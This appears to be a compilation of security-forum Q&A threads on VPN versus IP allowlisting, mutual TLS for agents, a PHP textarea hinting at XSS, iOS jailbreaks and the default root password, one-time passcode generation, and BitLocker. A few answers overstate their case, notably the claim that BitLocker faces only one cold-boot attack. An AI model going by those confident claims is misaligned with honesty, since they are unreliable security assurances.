Site-to-site VPN does not authenticate individual users or machines, it only guaranties that the traffic only flows between two networks (our office and our cloud provider). If the source of the traffic is restricted by its IP and the destination is authenticated by its valid SSL certificate, isn't it the same?
The encryption provided by the VPN is redundant since we already use TLS.
If anything, the VPN option is less secure since it could let in incoming connection from the cloud provider which we do not need nor want.

The main argument that I've heard is rebutting point #1 on the basis that IP whitelisting is not secure because of IP spoofing. My understanding is that IP spoofing is basically only used in DoS attack and that an attacker would not be able to complete a TLS handshake while faking it's IP (see this question for details).

Am I missing something here?

While your assumption #1 is true, whitelisting your corporate IP means that anybody in your company can have access to that application, even though they might be blocked by the SSO.
Using a StS VPN helps here because you can use subnets and only allow people in specific subnets to have access to the application.

Also, if you have a corporate WiFi and a guest wifi, whitelisting your corporate IP would allow ... guests, to have access to that application.


How to implement TLS in a product with complex distributed architecture? We have a distributed product where one server acts as a 'Scheduler' of jobs and there are hundreds if not thousands of 'Agents' which receive commands from the 'Scheduler' and execute the jobs. The communication between the Scheduler and the Agents wasn't secured with TLS till now. We had a symmetric key encryption implementation to protect data over the wire.
Now, though we want to implement TLS for securing the communication between the Scheduler and the Agents. One way TLS is clear and easy to implement. We can configure the Scheduler with a TLS key pair and we can have all the Agents send a client hello to the Scheduler and verify the Scheduler's TLS public key certificate they receive back. Since most of our customers are Enterprise companies they most likely have a TLS truststore configured with their CA in all the machines were they have our Agents running. So, Scheduler authentication is easily achievable.
However, the reverse - each Agent authenticating itself to the Scheduler using TLS public key certificate has practical difficulties for us. For example, customers who have thousands of Agents face an overhead generating a TLS key pair in all the machines were they have Agents running.
Is there a standard way for us to achieve 2 way mutual TLS authentication in this case without installing TLS key pair in all the Agents ?

... achieve 2 way mutual TLS authentication in this case without installing TLS key pair
...

Obviously you cannot do authentication with a client certificate without having a client certificate installed. But you basically face the same problem with any other authentication method: if you want to authenticate each agent then somehow you have to setup each agent with agent-specific credentials first and also associate these credentials with the agent in the scheduler. It does not matter if these are tokens, passwords or key pairs.


Found this textarea with PHP in it. Might it be malicious/exploitable? I came across this textarea on the website of a Medical Center. Clients enter sensitive medical data here.

What users see:

HTML:

<textarea name="message">&lt;?php echo $_POST['message']?&gt;</textarea>

Could it be malicious/exploitable? What's the worst case scenario here?

There is no danger in this specific part of the form. It seems that the developers have accidentally escaped the opening and closing PHP brackets, causing PHP code to be displayed as is. Now, this specific form instance doesn't allow us to do anything since it's just text being displayed...

But it teaches us something very important about this site: user input is not properly sanitised.

This means any malicious third-party can create a request that contains arbitrary client-side scripts. This third-party can then convince a user of visiting their own website, and from that website generate a POST request to this vulnerable medical site. Then, the client-side script can be executed by the client you're targeting, within that user's session. If the user is connected to the site and able to perform any privileged operation (such as making a payment, or interacting with the content of the site), you may be able to have them perform this action unwillingly.

Such attacks are called Cross-Site Scripting (XSS) attacks, and are very commonplace unfortunately. See this question on our site and OWASP's own XSS checklist for help with XSS mitigation.


How do iOS Jailbreaks work? I know that iOS Jailbreaks are just simply exploits for iOS to get root on the device, but what files do they modify/what techniques are used in order to gain root on the device? Can't you just log in to the root account in iOS? The password for root is well known (alpine). Why is a special method needed in order to jailbreak an iOS device, and what is that method?

The password is known, yes, but you can't run binaries from sideloaded apps. You need to modify the root filesystem to put an app into /Applications and make it tun root code.


Am I making my One-Time Passcode less secure? I am using some "magic link" one-time passcodes for automatically logging users in for a specific purpose on our website.

My plan is to generate a hash based on the datetime, users specific "ID" and a random int.

Then take this hash and use it a prefix to uniqid as per:

$hash = sha1(date("Y-m-d H:i:s") . $memberId . random_int(0, 9999) );
$OTP = uniqid($hash, true);

After a bit of thinking I guess the use of uniqid is pretty redundant, but would it actually make it less secure to do it this way?

First, if you take a hash of data containing in part random values, you would be better served by using directly random data, with the random_bytes function.

For the usage of uniqid, you should first read its documentation. You are not using the "prefix" argument as it is meant to be used.

To directly answer your question, you should avoid using uniqid because it is not meant to be used to authenticate users. You could instead use a 16 bytes string returned by random_bytes, encoded in hexadecimal or base64.


Is Windows BitLocker secure? Naturally I feel that I have to ask this question, since it's a built-in feature in Windows. Let's say someone has physical access to my PC, is there an easy way for them to access a BitLocker protected drive without physically tampering with the PC (such as hardware keyloggers)?

There is currently only one cold boot attack I know of that works against bitlocker. However it would need to be executed seconds after the computer has been turned off (it can be extended to minutes if the DRAM modules are cooled down significantly) but due to the timeframe of execution it's rather implausible. Bitlocker is secure as long as your machine is completely turned off when you store it (hibernate is also ok, but sleep needs to be disabled).